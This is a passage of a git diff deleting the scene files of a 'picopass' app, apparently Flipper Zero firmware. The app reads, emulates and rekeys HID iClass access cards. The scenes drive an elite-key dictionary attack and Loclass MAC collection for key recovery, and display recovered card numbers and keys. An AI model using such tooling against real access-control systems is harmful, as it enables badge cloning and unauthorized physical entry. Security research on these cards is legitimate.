"Back", - picopass_scene_delete_widget_callback, - picopass); - widget_add_button_element( - picopass->widget, - GuiButtonTypeRight, - "Delete", - picopass_scene_delete_widget_callback, - picopass); - - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewWidget); -} - -bool picopass_scene_delete_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - return scene_manager_previous_scene(picopass->scene_manager); - } else if(event.event == GuiButtonTypeRight) { - if(picopass_device_delete(picopass->dev, true)) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneDeleteSuccess); - } else { - scene_manager_search_and_switch_to_previous_scene( - picopass->scene_manager, PicopassSceneStart); - } - consumed = true; - } - } - return consumed; -} - -void picopass_scene_delete_on_exit(void* context) { - Picopass* picopass = context; - - widget_reset(picopass->widget); -} diff --git a/applications/external/picopass/scenes/picopass_scene_delete_success.c b/applications/external/picopass/scenes/picopass_scene_delete_success.c deleted file mode 100644 index f2a36a7fb..000000000 --- a/applications/external/picopass/scenes/picopass_scene_delete_success.c +++ /dev/null @@ -1,40 +0,0 @@ -#include "../picopass_i.h" - -void picopass_scene_delete_success_popup_callback(void* context) { - Picopass* picopass = context; - view_dispatcher_send_custom_event(picopass->view_dispatcher, PicopassCustomEventViewExit); -} - -void picopass_scene_delete_success_on_enter(void* context) { - Picopass* picopass = context; - - // Setup view - Popup* popup = picopass->popup; - popup_set_icon(popup, 0, 2, &I_DolphinMafia_115x62); - popup_set_header(popup, "Deleted", 83, 19, AlignLeft, AlignBottom); - popup_set_timeout(popup, 1500); - popup_set_context(popup, picopass); - popup_set_callback(popup, picopass_scene_delete_success_popup_callback); - popup_enable_timeout(popup); - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewPopup); -} - -bool picopass_scene_delete_success_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == PicopassCustomEventViewExit) { - consumed = scene_manager_search_and_switch_to_previous_scene( - picopass->scene_manager, PicopassSceneStart); - } - } - return consumed; -} - -void picopass_scene_delete_success_on_exit(void* context) { - Picopass* picopass = context; - - // Clear view - popup_reset(picopass->popup); -} diff --git a/applications/external/picopass/scenes/picopass_scene_device_info.c b/applications/external/picopass/scenes/picopass_scene_device_info.c deleted file mode 100644 index 60ed6ed94..000000000 --- a/applications/external/picopass/scenes/picopass_scene_device_info.c +++ /dev/null @@ -1,110 +0,0 @@ -#include "../picopass_i.h" -#include - -void picopass_scene_device_info_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - Picopass* picopass = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(picopass->view_dispatcher, result); - } -} - -void picopass_scene_device_info_on_enter(void* context) { - Picopass* picopass = context; - - FuriString* csn_str = furi_string_alloc_set("CSN:"); - FuriString* credential_str = furi_string_alloc(); - FuriString* wiegand_str = furi_string_alloc(); - - dolphin_deed(DolphinDeedNfcReadSuccess); - - // Setup view - PicopassBlock* AA1 = picopass->dev->dev_data.AA1; - PicopassPacs* pacs = &picopass->dev->dev_data.pacs; - Widget* widget = picopass->widget; - - uint8_t csn[RFAL_PICOPASS_BLOCK_LEN] = {0}; - memcpy(csn, AA1[PICOPASS_CSN_BLOCK_INDEX].data, RFAL_PICOPASS_BLOCK_LEN); - for(uint8_t i = 0; i < RFAL_PICOPASS_BLOCK_LEN; i++) { - furi_string_cat_printf(csn_str, "%02X ", csn[i]); - } - - if(pacs->record.bitLength == 0 || pacs->record.bitLength == 255) { - // Neither of these are valid. Indicates the block was all 0x00 or all 0xff - furi_string_cat_printf(wiegand_str, "Invalid PACS"); - } else { - size_t bytesLength = pacs->record.bitLength / 8; - if(pacs->record.bitLength % 8 > 0) { - // Add extra byte if there are bits remaining - bytesLength++; - } - furi_string_set(credential_str, ""); - for(uint8_t i = RFAL_PICOPASS_BLOCK_LEN - bytesLength; i < RFAL_PICOPASS_BLOCK_LEN; i++) { - furi_string_cat_printf(credential_str, "%02X", pacs->credential[i]); - } - - if(pacs->record.valid) { - furi_string_cat_printf( - wiegand_str, "FC: %u CN: %u", pacs->record.FacilityCode, pacs->record.CardNumber); - } else { - furi_string_cat_printf(wiegand_str, "%d bits", pacs->record.bitLength); - } - - if(pacs->sio) { - furi_string_cat_printf(credential_str, " +SIO"); - } - } - - widget_add_string_element( - widget, 64, 5, AlignCenter, AlignCenter, FontSecondary, furi_string_get_cstr(csn_str)); - widget_add_string_element( - widget, 64, 20, AlignCenter, AlignCenter, FontPrimary, furi_string_get_cstr(wiegand_str)); - widget_add_string_element( - widget, - 64, - 36, - AlignCenter, - AlignCenter, - FontSecondary, - furi_string_get_cstr(credential_str)); - - furi_string_free(csn_str); - furi_string_free(credential_str); - furi_string_free(wiegand_str); - - widget_add_button_element( - picopass->widget, - GuiButtonTypeLeft, - "Back", - picopass_scene_device_info_widget_callback, - picopass); - - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewWidget); -} - -bool picopass_scene_device_info_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - consumed = scene_manager_previous_scene(picopass->scene_manager); - } else if(event.event == PicopassCustomEventViewExit) { - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewWidget); - consumed = true; - } - } else if(event.type == SceneManagerEventTypeBack) { - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewWidget); - consumed = true; - } - return consumed; -} - -void picopass_scene_device_info_on_exit(void* context) { - Picopass* picopass = context; - - // Clear views - widget_reset(picopass->widget); -} diff --git a/applications/external/picopass/scenes/picopass_scene_elite_dict_attack.c b/applications/external/picopass/scenes/picopass_scene_elite_dict_attack.c deleted file mode 100644 index e6191d5ba..000000000 --- a/applications/external/picopass/scenes/picopass_scene_elite_dict_attack.c +++ /dev/null @@ -1,172 +0,0 @@ -#include "../picopass_i.h" -#include - -#define TAG "IclassEliteDictAttack" - -typedef enum { - DictAttackStateIdle, - DictAttackStateUserDictInProgress, - DictAttackStateFlipperDictInProgress, - DictAttackStateStandardDictInProgress, -} DictAttackState; - -void picopass_dict_attack_worker_callback(PicopassWorkerEvent event, void* context) { - furi_assert(context); - Picopass* picopass = context; - view_dispatcher_send_custom_event(picopass->view_dispatcher, event); -} - -void picopass_dict_attack_result_callback(void* context) { - furi_assert(context); - Picopass* picopass = context; - view_dispatcher_send_custom_event( - picopass->view_dispatcher, PicopassCustomEventDictAttackSkip); -} - -static void - picopass_scene_elite_dict_attack_prepare_view(Picopass* picopass, DictAttackState state) { - IclassEliteDictAttackData* dict_attack_data = - &picopass->dev->dev_data.iclass_elite_dict_attack_data; - PicopassWorkerState worker_state = PicopassWorkerStateReady; - IclassEliteDict* dict = NULL; - - // Identify scene state - if(state == DictAttackStateIdle) { - if(iclass_elite_dict_check_presence(IclassEliteDictTypeUser)) { - FURI_LOG_D(TAG, "Starting with user dictionary"); - state = DictAttackStateUserDictInProgress; - } else { - FURI_LOG_D(TAG, "Starting with standard dictionary"); - state = DictAttackStateStandardDictInProgress; - } - } else if(state == DictAttackStateUserDictInProgress) { - FURI_LOG_D(TAG, "Moving from user dictionary to standard dictionary"); - state = DictAttackStateStandardDictInProgress; - } else if(state == DictAttackStateStandardDictInProgress) { - FURI_LOG_D(TAG, "Moving from standard dictionary to elite dictionary"); - state = DictAttackStateFlipperDictInProgress; - } - - // Setup view - if(state == DictAttackStateUserDictInProgress) { - worker_state = PicopassWorkerStateEliteDictAttack; - dict_attack_set_header(picopass->dict_attack, "Elite User Dictionary"); - dict_attack_data->type = IclassEliteDictTypeUser; - dict = iclass_elite_dict_alloc(IclassEliteDictTypeUser); - - // If failed to load user dictionary - try the system dictionary - if(!dict) { - FURI_LOG_E(TAG, "User dictionary not found"); - state = DictAttackStateStandardDictInProgress; - } - } - if(state == DictAttackStateStandardDictInProgress) { - worker_state = PicopassWorkerStateEliteDictAttack; - dict_attack_set_header(picopass->dict_attack, "Standard System Dictionary"); - dict_attack_data->type = IclassStandardDictTypeFlipper; - dict = iclass_elite_dict_alloc(IclassStandardDictTypeFlipper); - - if(!dict) { - FURI_LOG_E(TAG, "Flipper standard dictionary not found"); - state = DictAttackStateFlipperDictInProgress; - } - } - if(state == DictAttackStateFlipperDictInProgress) { - worker_state = PicopassWorkerStateEliteDictAttack; - dict_attack_set_header(picopass->dict_attack, "Elite System Dictionary"); - dict_attack_data->type = IclassEliteDictTypeFlipper; - dict = iclass_elite_dict_alloc(IclassEliteDictTypeFlipper); - if(!dict) { - FURI_LOG_E(TAG, "Flipper Elite dictionary not found"); - // Pass through to let the worker handle the failure - } - } - // Free previous dictionary - if(dict_attack_data->dict) { - iclass_elite_dict_free(dict_attack_data->dict); - } - dict_attack_data->dict = dict; - scene_manager_set_scene_state(picopass->scene_manager, PicopassSceneEliteDictAttack, state); - dict_attack_set_callback( - picopass->dict_attack, picopass_dict_attack_result_callback, picopass); - dict_attack_set_current_sector(picopass->dict_attack, 0); - dict_attack_set_card_detected(picopass->dict_attack); - dict_attack_set_total_dict_keys( - picopass->dict_attack, dict ? iclass_elite_dict_get_total_keys(dict) : 0); - picopass_worker_start( - picopass->worker, - worker_state, - &picopass->dev->dev_data, - picopass_dict_attack_worker_callback, - picopass); -} - -void picopass_scene_elite_dict_attack_on_enter(void* context) { - Picopass* picopass = context; - picopass_scene_elite_dict_attack_prepare_view(picopass, DictAttackStateIdle); - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewDictAttack); - picopass_blink_start(picopass); - notification_message(picopass->notifications, &sequence_display_backlight_enforce_on); -} - -bool picopass_scene_elite_dict_attack_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - uint32_t state = - scene_manager_get_scene_state(picopass->scene_manager, PicopassSceneEliteDictAttack); - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == PicopassWorkerEventSuccess) { - if(state == DictAttackStateUserDictInProgress || - state == DictAttackStateStandardDictInProgress) { - picopass_worker_stop(picopass->worker); - picopass_scene_elite_dict_attack_prepare_view(picopass, state); - consumed = true; - } else { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneReadCardSuccess); - consumed = true; - } - } else if(event.event == PicopassWorkerEventAborted) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneReadCardSuccess); - consumed = true; - } else if(event.event == PicopassWorkerEventCardDetected) { - dict_attack_set_card_detected(picopass->dict_attack); - consumed = true; - } else if(event.event == PicopassWorkerEventNoCardDetected) { - dict_attack_set_card_removed(picopass->dict_attack); - consumed = true; - } else if(event.event == PicopassWorkerEventNewDictKeyBatch) { - dict_attack_inc_current_dict_key(picopass->dict_attack, PICOPASS_DICT_KEY_BATCH_SIZE); - consumed = true; - } else if(event.event == PicopassCustomEventDictAttackSkip) { - if(state == DictAttackStateUserDictInProgress) { - picopass_worker_stop(picopass->worker); - consumed = true; - } else if(state == DictAttackStateFlipperDictInProgress) { - picopass_worker_stop(picopass->worker); - consumed = true; - } else if(state == DictAttackStateStandardDictInProgress) { - picopass_worker_stop(picopass->worker); - consumed = true; - } - } - } else if(event.type == SceneManagerEventTypeBack) { - consumed = scene_manager_previous_scene(picopass->scene_manager); - } - return consumed; -} - -void picopass_scene_elite_dict_attack_on_exit(void* context) { - Picopass* picopass = context; - IclassEliteDictAttackData* dict_attack_data = - &picopass->dev->dev_data.iclass_elite_dict_attack_data; - // Stop worker - picopass_worker_stop(picopass->worker); - if(dict_attack_data->dict) { - iclass_elite_dict_free(dict_attack_data->dict); - dict_attack_data->dict = NULL; - } - dict_attack_reset(picopass->dict_attack); - picopass_blink_stop(picopass); - notification_message(picopass->notifications, &sequence_display_backlight_enforce_auto); -} diff --git a/applications/external/picopass/scenes/picopass_scene_emulate.c b/applications/external/picopass/scenes/picopass_scene_emulate.c deleted file mode 100644 index 4e0ed073b..000000000 --- a/applications/external/picopass/scenes/picopass_scene_emulate.c +++ /dev/null @@ -1,58 +0,0 @@ -#include "../picopass_i.h" -#include - -void picopass_emulate_worker_callback(PicopassWorkerEvent event, void* context) { - furi_assert(context); - Picopass* picopass = context; - view_dispatcher_send_custom_event(picopass->view_dispatcher, event); -} - -void picopass_scene_emulate_on_enter(void* context) { - Picopass* picopass = context; - dolphin_deed(DolphinDeedNfcEmulate); - - Widget* widget = picopass->widget; - widget_reset(widget); - widget_add_icon_element(widget, 0, 3, &I_RFIDDolphinSend_97x61); - widget_add_string_element(widget, 89, 32, AlignCenter, AlignTop, FontPrimary, "Emulating"); - widget_add_string_element(widget, 89, 42, AlignCenter, AlignTop, FontPrimary, "PicoPass"); - - // Setup view - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewWidget); - - // Start worker - picopass_worker_start( - picopass->worker, - PicopassWorkerStateEmulate, - &picopass->dev->dev_data, - picopass_emulate_worker_callback, - picopass); - - picopass_blink_emulate_start(picopass); -} - -bool picopass_scene_emulate_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == PicopassCustomEventWorkerExit) { - consumed = true; - } - } else if(event.type == SceneManagerEventTypeBack) { - consumed = scene_manager_previous_scene(picopass->scene_manager); - } - return consumed; -} - -void picopass_scene_emulate_on_exit(void* context) { - Picopass* picopass = context; - - picopass_blink_stop(picopass); - - // Stop worker - picopass_worker_stop(picopass->worker); - - // Clear view - widget_reset(picopass->widget); -} diff --git a/applications/external/picopass/scenes/picopass_scene_file_select.c b/applications/external/picopass/scenes/picopass_scene_file_select.c deleted file mode 100644 index 2fc64746e..000000000 --- a/applications/external/picopass/scenes/picopass_scene_file_select.c +++ /dev/null @@ -1,25 +0,0 @@ -#include "../picopass_i.h" -#include "../picopass_device.h" - -void picopass_scene_file_select_on_enter(void* context) { - Picopass* picopass = context; - // Process file_select return - picopass_device_set_loading_callback(picopass->dev, picopass_show_loading_popup, picopass); - if(picopass_file_select(picopass->dev)) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneSavedMenu); - } else { - scene_manager_search_and_switch_to_previous_scene( - picopass->scene_manager, PicopassSceneStart); - } - picopass_device_set_loading_callback(picopass->dev, NULL, picopass); -} - -bool picopass_scene_file_select_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void picopass_scene_file_select_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/picopass/scenes/picopass_scene_key_input.c b/applications/external/picopass/scenes/picopass_scene_key_input.c deleted file mode 100644 index 73db7715e..000000000 --- a/applications/external/picopass/scenes/picopass_scene_key_input.c +++ /dev/null @@ -1,47 +0,0 @@ -#include "../picopass_i.h" -#include -#include - -void picopass_scene_key_input_text_input_callback(void* context) { - Picopass* picopass = context; - - picopass->dev->dev_data.pacs.elite_kdf = true; - memcpy(picopass->dev->dev_data.pacs.key, picopass->byte_input_store, RFAL_PICOPASS_BLOCK_LEN); - view_dispatcher_send_custom_event(picopass->view_dispatcher, PicopassCustomEventByteInputDone); -} - -void picopass_scene_key_input_on_enter(void* context) { - Picopass* picopass = context; - - ByteInput* byte_input = picopass->byte_input; - byte_input_set_header_text(byte_input, "Enter The Key In Hex"); - byte_input_set_result_callback( - byte_input, - picopass_scene_key_input_text_input_callback, - NULL, - picopass, - picopass->byte_input_store, - RFAL_PICOPASS_BLOCK_LEN); - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewByteInput); -} - -bool picopass_scene_key_input_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == PicopassCustomEventByteInputDone) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneWriteKey); - consumed = true; - } - } - return consumed; -} - -void picopass_scene_key_input_on_exit(void* context) { - Picopass* picopass = context; - - // Clear view - byte_input_set_result_callback(picopass->byte_input, NULL, NULL, NULL, NULL, 0); - byte_input_set_header_text(picopass->byte_input, ""); -} diff --git a/applications/external/picopass/scenes/picopass_scene_key_menu.c b/applications/external/picopass/scenes/picopass_scene_key_menu.c deleted file mode 100644 index 21d8a526d..000000000 --- a/applications/external/picopass/scenes/picopass_scene_key_menu.c +++ /dev/null @@ -1,112 +0,0 @@ -#include "../picopass_i.h" -#include "../picopass_keys.h" - -enum SubmenuIndex { - SubmenuIndexWriteStandard, - SubmenuIndexWriteiCE, - SubmenuIndexWriteiCL, - SubmenuIndexWriteiCS, - SubmenuIndexWriteCustom, -}; - -void picopass_scene_key_menu_submenu_callback(void* context, uint32_t index) { - Picopass* picopass = context; - - view_dispatcher_send_custom_event(picopass->view_dispatcher, index); -} - -void picopass_scene_key_menu_on_enter(void* context) { - Picopass* picopass = context; - Submenu* submenu = picopass->submenu; - - submenu_add_item( - submenu, - "Write Standard", - SubmenuIndexWriteStandard, - picopass_scene_key_menu_submenu_callback, - picopass); - submenu_add_item( - submenu, - "Write iCE", - SubmenuIndexWriteiCE, - picopass_scene_key_menu_submenu_callback, - picopass); - submenu_add_item( - submenu, - "Write iCL", - SubmenuIndexWriteiCL, - picopass_scene_key_menu_submenu_callback, - picopass); - submenu_add_item( - submenu, - "Write iCS", - SubmenuIndexWriteiCS, - picopass_scene_key_menu_submenu_callback, - picopass); - submenu_add_item( - submenu, - "Write Elite", - SubmenuIndexWriteCustom, - picopass_scene_key_menu_submenu_callback, - picopass); - - submenu_set_selected_item( - picopass->submenu, - scene_manager_get_scene_state(picopass->scene_manager, PicopassSceneKeyMenu)); - - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewMenu); -} - -bool picopass_scene_key_menu_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexWriteStandard) { - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneKeyMenu, SubmenuIndexWriteStandard); - memcpy(picopass->dev->dev_data.pacs.key, picopass_iclass_key, RFAL_PICOPASS_BLOCK_LEN); - picopass->dev->dev_data.pacs.elite_kdf = false; - scene_manager_next_scene(picopass->scene_manager, PicopassSceneWriteKey); - consumed = true; - } else if(event.event == SubmenuIndexWriteiCE) { - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneKeyMenu, SubmenuIndexWriteiCE); - memcpy(picopass->dev->dev_data.pacs.key, picopass_xice_key, RFAL_PICOPASS_BLOCK_LEN); - picopass->dev->dev_data.pacs.elite_kdf = true; - scene_manager_next_scene(picopass->scene_manager, PicopassSceneWriteKey); - consumed = true; - } else if(event.event == SubmenuIndexWriteiCL) { - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneKeyMenu, SubmenuIndexWriteiCL); - memcpy(picopass->dev->dev_data.pacs.key, picopass_xicl_key, RFAL_PICOPASS_BLOCK_LEN); - picopass->dev->dev_data.pacs.elite_kdf = false; - scene_manager_next_scene(picopass->scene_manager, PicopassSceneWriteKey); - consumed = true; - } else if(event.event == SubmenuIndexWriteiCS) { - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneKeyMenu, SubmenuIndexWriteiCS); - memcpy(picopass->dev->dev_data.pacs.key, picopass_xics_key, RFAL_PICOPASS_BLOCK_LEN); - picopass->dev->dev_data.pacs.elite_kdf = false; - scene_manager_next_scene(picopass->scene_manager, PicopassSceneWriteKey); - consumed = true; - } else if(event.event == SubmenuIndexWriteCustom) { - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneKeyMenu, SubmenuIndexWriteCustom); - // Key and elite_kdf = true are both set in key_input scene - scene_manager_next_scene(picopass->scene_manager, PicopassSceneKeyInput); - consumed = true; - } - } else if(event.type == SceneManagerEventTypeBack) { - consumed = scene_manager_search_and_switch_to_previous_scene( - picopass->scene_manager, PicopassSceneStart); - } - - return consumed; -} - -void picopass_scene_key_menu_on_exit(void* context) { - Picopass* picopass = context; - - submenu_reset(picopass->submenu); -} diff --git a/applications/external/picopass/scenes/picopass_scene_loclass.c b/applications/external/picopass/scenes/picopass_scene_loclass.c deleted file mode 100644 index 01e245557..000000000 --- a/applications/external/picopass/scenes/picopass_scene_loclass.c +++ /dev/null @@ -1,80 +0,0 @@ -#include "../picopass_i.h" -#include - -void picopass_loclass_worker_callback(PicopassWorkerEvent event, void* context) { - furi_assert(context); - Picopass* picopass = context; - view_dispatcher_send_custom_event(picopass->view_dispatcher, event); -} - -void picopass_loclass_result_callback(void* context) { - furi_assert(context); - Picopass* picopass = context; - view_dispatcher_send_custom_event(picopass->view_dispatcher, PicopassCustomEventViewExit); -} - -void picopass_scene_loclass_on_enter(void* context) { - Picopass* picopass = context; - dolphin_deed(DolphinDeedNfcEmulate); - - scene_manager_set_scene_state(picopass->scene_manager, PicopassSceneLoclass, 0); - - loclass_set_callback(picopass->loclass, picopass_loclass_result_callback, picopass); - - // Start worker - picopass_worker_start( - picopass->worker, - PicopassWorkerStateLoclass, - &picopass->dev->dev_data, - picopass_loclass_worker_callback, - picopass); - - picopass_blink_emulate_start(picopass); - - loclass_set_header(picopass->loclass, "Loclass"); - - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewLoclass); -} - -bool picopass_scene_loclass_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - uint32_t loclass_macs_collected = - scene_manager_get_scene_state(picopass->scene_manager, PicopassSceneLoclass); - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == PicopassWorkerEventLoclassGotMac) { - loclass_macs_collected++; - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneLoclass, loclass_macs_collected); - loclass_set_num_macs(picopass->loclass, loclass_macs_collected); - if(loclass_macs_collected >= LOCLASS_MACS_TO_COLLECT) { - scene_manager_previous_scene(picopass->scene_manager); - } - consumed = true; - } else if(event.event == PicopassWorkerEventLoclassGotStandardKey) { - loclass_set_header(picopass->loclass, "Loclass (Got Std Key)"); - consumed = true; - } else if(event.event == PicopassCustomEventViewExit) { - consumed = scene_manager_previous_scene(picopass->scene_manager); - } - } else if(event.type == SceneManagerEventTypeBack) { - consumed = scene_manager_previous_scene(picopass->scene_manager); - } - return consumed; -} - -void picopass_scene_loclass_on_exit(void* context) { - Picopass* picopass = context; - - picopass_blink_stop(picopass); - - // Stop worker - picopass_worker_stop(picopass->worker); - - loclass_reset(picopass->loclass); - - // Clear view - widget_reset(picopass->widget); -} diff --git a/applications/external/picopass/scenes/picopass_scene_read_card.c b/applications/external/picopass/scenes/picopass_scene_read_card.c deleted file mode 100644 index fabce52b6..000000000 --- a/applications/external/picopass/scenes/picopass_scene_read_card.c +++ /dev/null @@ -1,61 +0,0 @@ -#include "../picopass_i.h" -#include -#include "../picopass_keys.h" - -void picopass_read_card_worker_callback(PicopassWorkerEvent event, void* context) { - UNUSED(event); - Picopass* picopass = context; - view_dispatcher_send_custom_event(picopass->view_dispatcher, PicopassCustomEventWorkerExit); -} - -void picopass_scene_read_card_on_enter(void* context) { - Picopass* picopass = context; - dolphin_deed(DolphinDeedNfcRead); - - // Setup view - Popup* popup = picopass->popup; - popup_set_header(popup, "Detecting\npicopass\ncard", 68, 30, AlignLeft, AlignTop); - popup_set_icon(popup, 0, 3, &I_RFIDDolphinReceive_97x61); - - // Start worker - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewPopup); - picopass_worker_start( - picopass->worker, - PicopassWorkerStateDetect, - &picopass->dev->dev_data, - picopass_read_card_worker_callback, - picopass); - - picopass_blink_start(picopass); -} - -bool picopass_scene_read_card_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == PicopassCustomEventWorkerExit) { - if(memcmp( - picopass->dev->dev_data.pacs.key, - picopass_factory_debit_key, - RFAL_PICOPASS_BLOCK_LEN) == 0) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneReadFactorySuccess); - } else { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneReadCardSuccess); - } - consumed = true; - } - } - return consumed; -} - -void picopass_scene_read_card_on_exit(void* context) { - Picopass* picopass = context; - - // Stop worker - picopass_worker_stop(picopass->worker); - // Clear view - popup_reset(picopass->popup); - - picopass_blink_stop(picopass); -} diff --git a/applications/external/picopass/scenes/picopass_scene_read_card_success.c b/applications/external/picopass/scenes/picopass_scene_read_card_success.c deleted file mode 100644 index adcdaded3..000000000 --- a/applications/external/picopass/scenes/picopass_scene_read_card_success.c +++ /dev/null @@ -1,169 +0,0 @@ -#include "../picopass_i.h" -#include - -void picopass_scene_read_card_success_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - furi_assert(context); - Picopass* picopass = context; - - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(picopass->view_dispatcher, result); - } -} - -void picopass_scene_read_card_success_on_enter(void* context) { - Picopass* picopass = context; - - FuriString* csn_str = furi_string_alloc_set("CSN:"); - FuriString* credential_str = furi_string_alloc(); - FuriString* wiegand_str = furi_string_alloc(); - FuriString* key_str = furi_string_alloc(); - - dolphin_deed(DolphinDeedNfcReadSuccess); - - // Send notification - notification_message(picopass->notifications, &sequence_success); - - // Setup view - PicopassBlock* AA1 = picopass->dev->dev_data.AA1; - PicopassPacs* pacs = &picopass->dev->dev_data.pacs; - Widget* widget = picopass->widget; - - uint8_t csn[RFAL_PICOPASS_BLOCK_LEN] = {0}; - memcpy(csn, AA1[PICOPASS_CSN_BLOCK_INDEX].data, RFAL_PICOPASS_BLOCK_LEN); - for(uint8_t i = 0; i < RFAL_PICOPASS_BLOCK_LEN; i++) { - furi_string_cat_printf(csn_str, "%02X", csn[i]); - } - - bool no_key = picopass_is_memset(pacs->key, 0x00, RFAL_PICOPASS_BLOCK_LEN); - bool empty = picopass_is_memset( - AA1[PICOPASS_ICLASS_PACS_CFG_BLOCK_INDEX].data, 0xFF, RFAL_PICOPASS_BLOCK_LEN); - - if(no_key) { - furi_string_cat_printf(wiegand_str, "Read Failed"); - - if(pacs->se_enabled) { - furi_string_cat_printf(credential_str, "SE enabled"); - } - - widget_add_button_element( - widget, - GuiButtonTypeCenter, - "Menu", - picopass_scene_read_card_success_widget_callback, - picopass); - } else if(empty) { - furi_string_cat_printf(wiegand_str, "Empty"); - widget_add_button_element( - widget, - GuiButtonTypeCenter, - "Menu", - picopass_scene_read_card_success_widget_callback, - picopass); - } else if(pacs->record.bitLength == 0 || pacs->record.bitLength == 255) { - // Neither of these are valid. Indicates the block was all 0x00 or all 0xff - furi_string_cat_printf(wiegand_str, "Invalid PACS"); - - if(pacs->se_enabled) { - furi_string_cat_printf(credential_str, "SE enabled"); - } - widget_add_button_element( - widget, - GuiButtonTypeCenter, - "Menu", - picopass_scene_read_card_success_widget_callback, - picopass); - } else { - size_t bytesLength = 1 + pacs->record.bitLength / 8; - furi_string_set(credential_str, ""); - for(uint8_t i = RFAL_PICOPASS_BLOCK_LEN - bytesLength; i < RFAL_PICOPASS_BLOCK_LEN; i++) { - furi_string_cat_printf(credential_str, "%02X", pacs->credential[i]); - } - - if(pacs->record.valid) { - furi_string_cat_printf( - wiegand_str, "FC: %u CN: %u", pacs->record.FacilityCode, pacs->record.CardNumber); - } else { - furi_string_cat_printf(wiegand_str, "%d bits", pacs->record.bitLength); - } - - if(pacs->sio) { - furi_string_cat_printf(credential_str, " +SIO"); - } - - if(pacs->key) { - furi_string_cat_printf(key_str, "Key: "); - - uint8_t key[RFAL_PICOPASS_BLOCK_LEN]; - memcpy(key, &pacs->key, RFAL_PICOPASS_BLOCK_LEN); - for(uint8_t i = 0; i < RFAL_PICOPASS_BLOCK_LEN; i++) { - furi_string_cat_printf(key_str, "%02X", key[i]); - } - } - - widget_add_button_element( - widget, - GuiButtonTypeRight, - "More", - picopass_scene_read_card_success_widget_callback, - picopass); - } - - widget_add_button_element( - widget, - GuiButtonTypeLeft, - "Retry", - picopass_scene_read_card_success_widget_callback, - picopass); - - widget_add_string_element( - widget, 64, 5, AlignCenter, AlignCenter, FontSecondary, furi_string_get_cstr(csn_str)); - widget_add_string_element( - widget, 64, 20, AlignCenter, AlignCenter, FontPrimary, furi_string_get_cstr(wiegand_str)); - widget_add_string_element( - widget, - 64, - 36, - AlignCenter, - AlignCenter, - FontSecondary, - furi_string_get_cstr(credential_str)); - widget_add_string_element( - widget, 64, 46, AlignCenter, AlignCenter, FontSecondary, furi_string_get_cstr(key_str)); - - furi_string_free(csn_str); - furi_string_free(credential_str); - furi_string_free(wiegand_str); - furi_string_free(key_str); - - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewWidget); -} - -bool picopass_scene_read_card_success_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - consumed = scene_manager_previous_scene(picopass->scene_manager); - } else if(event.event == GuiButtonTypeRight) { - // Clear device name - picopass_device_set_name(picopass->dev, ""); - scene_manager_next_scene(picopass->scene_manager, PicopassSceneCardMenu); - consumed = true; - } else if(event.event == GuiButtonTypeCenter) { - consumed = scene_manager_search_and_switch_to_another_scene( - picopass->scene_manager, PicopassSceneStart); - } - } - return consumed; -} - -void picopass_scene_read_card_success_on_exit(void* context) { - Picopass* picopass = context; - - // Clear view - widget_reset(picopass->widget); -} diff --git a/applications/external/picopass/scenes/picopass_scene_read_factory_success.c b/applications/external/picopass/scenes/picopass_scene_read_factory_success.c deleted file mode 100644 index 2ee6b253a..000000000 --- a/applications/external/picopass/scenes/picopass_scene_read_factory_success.c +++ /dev/null @@ -1,80 +0,0 @@ -#include "../picopass_i.h" -#include -#include 